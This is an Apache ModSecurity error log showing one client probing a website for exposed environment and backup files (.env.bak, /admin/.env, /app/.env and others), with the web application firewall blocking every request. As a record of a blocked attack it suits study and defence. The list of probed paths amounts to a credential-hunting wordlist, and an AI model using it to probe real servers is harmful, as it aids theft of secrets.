[Sun Oct 25 15:18:02.636553 2026] [security2:error] [pid 2882161:tid 2882161] [client 34.95.254.114:60558] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at5V6t9M2VEwlrtTY6-ySgAAABM"]
[Sun Oct 25 15:18:02.636707 2026] [security2:error] [pid 2882161:tid 2882161] [client 34.95.254.114:60558] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at5V6t9M2VEwlrtTY6-ySgAAABM"]
[Sun Oct 25 15:18:02.637041 2026] [security2:error] [pid 2882161:tid 2882161] [client 34.95.254.114:60558] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.old"] [unique_id "at5V6t9M2VEwlrtTY6-ySgAAABM"]
[Sun Oct 25 15:18:02.638350 2026] [security2:error] [pid 2887459:tid 2887459] [client 34.95.254.114:60568] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at5V6nARVqJVeEfCE8kQowAAAAo"]
[Sun Oct 25 15:18:02.638535 2026] [security2:error] [pid 2887459:tid 2887459] [client 34.95.254.114:60568] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at5V6nARVqJVeEfCE8kQowAAAAo"]
[Sun Oct 25 15:18:02.638810 2026] [security2:error] [pid 2887459:tid 2887459] [client 34.95.254.114:60568] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.prod"] [unique_id "at5V6nARVqJVeEfCE8kQowAAAAo"]
[Sun Oct 25 15:18:02.859352 2026] [security2:error] [pid 2885087:tid 2885087] [client 34.95.254.114:60532] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5V6lvZXFfv30_csgEbHgAAAAE"]
[Sun Oct 25 15:18:02.859637 2026] [security2:error] [pid 2885087:tid 2885087] [client 34.95.254.114:60532] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5V6lvZXFfv30_csgEbHgAAAAE"]
[Sun Oct 25 15:18:02.859921 2026] [security2:error] [pid 2885087:tid 2885087] [client 34.95.254.114:60532] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.local"] [unique_id "at5V6lvZXFfv30_csgEbHgAAAAE"]
[Sun Oct 25 15:18:02.947674 2026] [security2:error] [pid 2882161:tid 2882161] [client 34.95.254.114:60558] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at5V6t9M2VEwlrtTY6-ySwAAABM"]
[Sun Oct 25 15:18:02.947865 2026] [security2:error] [pid 2882161:tid 2882161] [client 34.95.254.114:60558] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at5V6t9M2VEwlrtTY6-ySwAAABM"]
[Sun Oct 25 15:18:02.948179 2026] [security2:error] [pid 2882161:tid 2882161] [client 34.95.254.114:60558] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.production"] [unique_id "at5V6t9M2VEwlrtTY6-ySwAAABM"]
[Sun Oct 25 15:18:03.016650 2026] [security2:error] [pid 2885694:tid 2885694] [client 34.95.254.114:60542] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at5V6-NFKka2-rJ01WB-8wAAAAk"]
[Sun Oct 25 15:18:03.016895 2026] [security2:error] [pid 2885694:tid 2885694] [client 34.95.254.114:60542] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at5V6-NFKka2-rJ01WB-8wAAAAk"]
[Sun Oct 25 15:18:03.017189 2026] [security2:error] [pid 2885694:tid 2885694] [client 34.95.254.114:60542] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.backup"] [unique_id "at5V6-NFKka2-rJ01WB-8wAAAAk"]
[Sun Oct 25 15:18:03.023637 2026] [security2:error] [pid 2880779:tid 2880779] [client 34.95.254.114:34156] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at5V6znLqNfi2M7PPfhJIwAAABo"]
[Sun Oct 25 15:18:03.023816 2026] [security2:error] [pid 2880779:tid 2880779] [client 34.95.254.114:34156] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at5V6znLqNfi2M7PPfhJIwAAABo"]
[Sun Oct 25 15:18:03.024101 2026] [security2:error] [pid 2880779:tid 2880779] [client 34.95.254.114:34156] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.bak"] [unique_id "at5V6znLqNfi2M7PPfhJIwAAABo"]
[Sun Oct 25 15:18:03.288146 2026] [authz_core:error] [pid 2882168:tid 2882168] [client 34.95.254.114:60660] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log
[Sun Oct 25 15:18:03.322376 2026] [security2:error] [pid 2882162:tid 2882162] [client 34.95.254.114:60582] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at5V63Xh3gJECtnR93iQYAAAABU"]
[Sun Oct 25 15:18:03.322672 2026] [security2:error] [pid 2882162:tid 2882162] [client 34.95.254.114:60582] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at5V63Xh3gJECtnR93iQYAAAABU"]
[Sun Oct 25 15:18:03.322955 2026] [security2:error] [pid 2882162:tid 2882162] [client 34.95.254.114:60582] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/.env.save"] [unique_id "at5V63Xh3gJECtnR93iQYAAAABU"]
[Sun Oct 25 15:18:03.435000 2026] [security2:error] [pid 2885087:tid 2885087] [client 34.95.254.114:60532] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at5V61vZXFfv30_csgEbHwAAAAE"]
[Sun Oct 25 15:18:03.435155 2026] [security2:error] [pid 2885087:tid 2885087] [client 34.95.254.114:60532] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at5V61vZXFfv30_csgEbHwAAAAE"]
[Sun Oct 25 15:18:03.435413 2026] [security2:error] [pid 2885087:tid 2885087] [client 34.95.254.114:60532] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/api/.env"] [unique_id "at5V61vZXFfv30_csgEbHwAAAAE"]
[Sun Oct 25 15:18:03.441290 2026] [security2:error] [pid 2885108:tid 2885108] [client 34.95.254.114:60652] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at5V65_hQsyVM851q_lTSwAAAAc"]
[Sun Oct 25 15:18:03.441455 2026] [security2:error] [pid 2885108:tid 2885108] [client 34.95.254.114:60652] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at5V65_hQsyVM851q_lTSwAAAAc"]
[Sun Oct 25 15:18:03.441714 2026] [security2:error] [pid 2885108:tid 2885108] [client 34.95.254.114:60652] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/admin/.env"] [unique_id "at5V65_hQsyVM851q_lTSwAAAAc"]
[Sun Oct 25 15:18:03.519147 2026] [security2:error] [pid 2887568:tid 2887568] [client 34.95.254.114:60638] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at5V6z5pQLoBQNR0orBS-gAAAAs"]
[Sun Oct 25 15:18:03.519157 2026] [security2:error] [pid 2882191:tid 2882191] [client 34.95.254.114:60594] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /server/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/server/.env"] [unique_id "at5V65Yw3jZlk1xcjz4TOgAAADA"]
[Sun Oct 25 15:18:03.519459 2026] [security2:error] [pid 2887568:tid 2887568] [client 34.95.254.114:60638] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at5V6z5pQLoBQNR0orBS-gAAAAs"]
[Sun Oct 25 15:18:03.519465 2026] [security2:error] [pid 2882191:tid 2882191] [client 34.95.254.114:60594] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/server/.env"] [unique_id "at5V65Yw3jZlk1xcjz4TOgAAADA"]
[Sun Oct 25 15:18:03.519880 2026] [security2:error] [pid 2887568:tid 2887568] [client 34.95.254.114:60638] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/backend/.env"] [unique_id "at5V6z5pQLoBQNR0orBS-gAAAAs"]
[Sun Oct 25 15:18:03.519898 2026] [security2:error] [pid 2882191:tid 2882191] [client 34.95.254.114:60594] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/server/.env"] [unique_id "at5V65Yw3jZlk1xcjz4TOgAAADA"]
[Sun Oct 25 15:18:03.527090 2026] [security2:error] [pid 2885109:tid 2885109] [client 34.95.254.114:60580] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /src/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/src/.env"] [unique_id "at5V64FcUVAO2YtGzyMelQAAAAg"]
[Sun Oct 25 15:18:03.527236 2026] [security2:error] [pid 2885109:tid 2885109] [client 34.95.254.114:60580] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/src/.env"] [unique_id "at5V64FcUVAO2YtGzyMelQAAAAg"]
[Sun Oct 25 15:18:03.527497 2026] [security2:error] [pid 2885109:tid 2885109] [client 34.95.254.114:60580] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/src/.env"] [unique_id "at5V64FcUVAO2YtGzyMelQAAAAg"]
[Sun Oct 25 15:18:03.588500 2026] [security2:error] [pid 2882161:tid 2882161] [client 34.95.254.114:60558] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at5V699M2VEwlrtTY6-yTAAAABM"]
[Sun Oct 25 15:18:03.588724 2026] [security2:error] [pid 2882161:tid 2882161] [client 34.95.254.114:60558] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at5V699M2VEwlrtTY6-yTAAAABM"]
[Sun Oct 25 15:18:03.589043 2026] [security2:error] [pid 2882161:tid 2882161] [client 34.95.254.114:60558] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/app/.env"] [unique_id "at5V699M2VEwlrtTY6-yTAAAABM"]
